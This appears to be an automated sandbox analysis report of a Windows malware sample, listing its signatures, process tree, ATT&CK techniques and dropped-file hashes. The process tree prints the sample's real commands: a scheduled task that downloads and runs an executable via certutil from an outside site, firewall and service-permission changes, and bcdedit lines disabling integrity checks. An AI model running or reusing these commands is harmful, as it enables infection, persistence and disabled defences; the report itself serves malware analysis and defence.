Analysis

  • max time kernel
    102s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    25-11-2020 06:50

General

  • Target

    dbdc04946fa3c9c7194da3e2ffd86523.exe

  • Size

    3.8MB

  • MD5

    dbdc04946fa3c9c7194da3e2ffd86523

  • SHA1

    9b34bff78d9591ecd3ca928c54cc02d97dd42c32

  • SHA256

    6651e6156af086e120114fb83b10af8b07acac4b73998cf5758bb5fe17677bfc

  • SHA512

    0a535dec2a86039a97fb9f77e5efecba52d730584cd9b4fb6caac4152462641bd9845a72a7d72ce6cd3ab33c278cd449ce99e4c4a1eb1871dfd2fb6f82a34f30

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs
  • Modifies boot configuration data using bcdedit 15 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 520 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe
    "C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3980
    • C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe
      "C:\Users\Admin\AppData\Local\Temp\dbdc04946fa3c9c7194da3e2ffd86523.exe"
      2⤵
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4064
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
            PID:2080
        • C:\Windows\rss\csrss.exe
          C:\Windows\rss\csrss.exe ""
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3196
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
            4⤵
            • Creates scheduled task(s)
            PID:204
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://thebabsite.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
            4⤵
            • Creates scheduled task(s)
            PID:2568
          • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
            "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2764
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2064
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:4088
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1120
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:8
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:504
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3816
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3928
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3976
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1764
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3788
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2432
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -timeout 0
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:4080
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2140
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1316
          • C:\Windows\System32\bcdedit.exe
            C:\Windows\Sysnative\bcdedit.exe /v
            4⤵
            • Modifies boot configuration data using bcdedit
            PID:8
          • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
            4⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            PID:3704
          • C:\Windows\windefender.exe
            "C:\Windows\windefender.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2888
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2444
              • C:\Windows\SysWOW64\sc.exe
                sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2216
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:940
    • C:\Windows\windefender.exe
      C:\Windows\windefender.exe
      1⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:752

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Modify Existing Service

    1
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Disabling Security Tools

    2
    T1089

    Modify Registry

    3
    T1112

    Discovery

    Query Registry

    1
    T1012

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      MD5

      d98e78fd57db58a11f880b45bb659767

      SHA1

      ab70c0d3bd9103c07632eeecee9f51d198ed0e76

      SHA256

      414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

      SHA512

      aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
      MD5

      d98e78fd57db58a11f880b45bb659767

      SHA1

      ab70c0d3bd9103c07632eeecee9f51d198ed0e76

      SHA256

      414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

      SHA512

      aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe
      MD5

      dbdc04946fa3c9c7194da3e2ffd86523

      SHA1

      9b34bff78d9591ecd3ca928c54cc02d97dd42c32

      SHA256

      6651e6156af086e120114fb83b10af8b07acac4b73998cf5758bb5fe17677bfc

      SHA512

      0a535dec2a86039a97fb9f77e5efecba52d730584cd9b4fb6caac4152462641bd9845a72a7d72ce6cd3ab33c278cd449ce99e4c4a1eb1871dfd2fb6f82a34f30

    • C:\Windows\rss\csrss.exe
      MD5

      dbdc04946fa3c9c7194da3e2ffd86523

      SHA1

      9b34bff78d9591ecd3ca928c54cc02d97dd42c32

      SHA256

      6651e6156af086e120114fb83b10af8b07acac4b73998cf5758bb5fe17677bfc

      SHA512

      0a535dec2a86039a97fb9f77e5efecba52d730584cd9b4fb6caac4152462641bd9845a72a7d72ce6cd3ab33c278cd449ce99e4c4a1eb1871dfd2fb6f82a34f30

    • C:\Windows\windefender.exe
      MD5

      6512ae7c9f36206f6433f78296102419

      SHA1

      abd1312c5727ac2a64ae5add1706d47cd65386eb

      SHA256

      6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

      SHA512

      a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

    • C:\Windows\windefender.exe
      MD5

      6512ae7c9f36206f6433f78296102419

      SHA1

      abd1312c5727ac2a64ae5add1706d47cd65386eb

      SHA256

      6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

      SHA512

      a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

    • C:\Windows\windefender.exe
      MD5

      6512ae7c9f36206f6433f78296102419

      SHA1

      abd1312c5727ac2a64ae5add1706d47cd65386eb

      SHA256

      6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

      SHA512

      a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

    • \Users\Admin\AppData\Local\Temp\dbghelp.dll
      MD5

      f0616fa8bc54ece07e3107057f74e4db

      SHA1

      b33995c4f9a004b7d806c4bb36040ee844781fca

      SHA256

      6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

      SHA512

      15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

    • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
      MD5

      335ee604bc5976ee83b38f3dddfed723

      SHA1

      2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

      SHA256

      8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

      SHA512

      87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

    • \Users\Admin\AppData\Local\Temp\osloader.exe
      MD5

      78c581e475d59efdebee2d3f4355f03f

      SHA1

      fda6c1f77f772afaa1b44a44c1fb29ee07434d10

      SHA256

      9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

      SHA512

      35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

    • \Users\Admin\AppData\Local\Temp\symsrv.dll
      MD5

      5c399d34d8dc01741269ff1f1aca7554

      SHA1

      e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

      SHA256

      e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

      SHA512

      8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

    • memory/8-40-0x0000000000000000-mapping.dmp
    • memory/8-29-0x0000000000000000-mapping.dmp
    • memory/204-18-0x0000000000000000-mapping.dmp
    • memory/504-30-0x0000000000000000-mapping.dmp
    • memory/696-7-0x0000000002D40000-0x0000000002D41000-memory.dmp
      Filesize

      4KB

    • memory/696-5-0x0000000000000000-mapping.dmp
    • memory/696-8-0x0000000000400000-0x0000000000B11000-memory.dmp
      Filesize

      7.1MB

    • memory/1120-28-0x0000000000000000-mapping.dmp
    • memory/1316-39-0x0000000000000000-mapping.dmp
    • memory/1764-34-0x0000000000000000-mapping.dmp
    • memory/2064-26-0x0000000000000000-mapping.dmp
    • memory/2080-11-0x0000000000000000-mapping.dmp
    • memory/2140-38-0x0000000000000000-mapping.dmp
    • memory/2216-51-0x0000000000000000-mapping.dmp
    • memory/2432-36-0x0000000000000000-mapping.dmp
    • memory/2444-50-0x0000000000000000-mapping.dmp
    • memory/2568-19-0x0000000000000000-mapping.dmp
    • memory/2764-20-0x0000000000000000-mapping.dmp
    • memory/2888-47-0x0000000000400000-0x0000000000897000-memory.dmp
      Filesize

      4.6MB

    • memory/2888-44-0x0000000000000000-mapping.dmp
    • memory/3196-12-0x0000000000000000-mapping.dmp
    • memory/3196-16-0x00000000031B0000-0x00000000031B1000-memory.dmp
      Filesize

      4KB

    • memory/3704-41-0x0000000000000000-mapping.dmp
    • memory/3788-35-0x0000000000000000-mapping.dmp
    • memory/3816-31-0x0000000000000000-mapping.dmp
    • memory/3928-32-0x0000000000000000-mapping.dmp
    • memory/3976-33-0x0000000000000000-mapping.dmp
    • memory/3980-1-0x0000000002CF0000-0x0000000002CF1000-memory.dmp
      Filesize

      4KB

    • memory/3980-2-0x0000000000400000-0x0000000000B11000-memory.dmp
      Filesize

      7.1MB

    • memory/4064-10-0x0000000000000000-mapping.dmp
    • memory/4080-37-0x0000000000000000-mapping.dmp
    • memory/4088-27-0x0000000000000000-mapping.dmp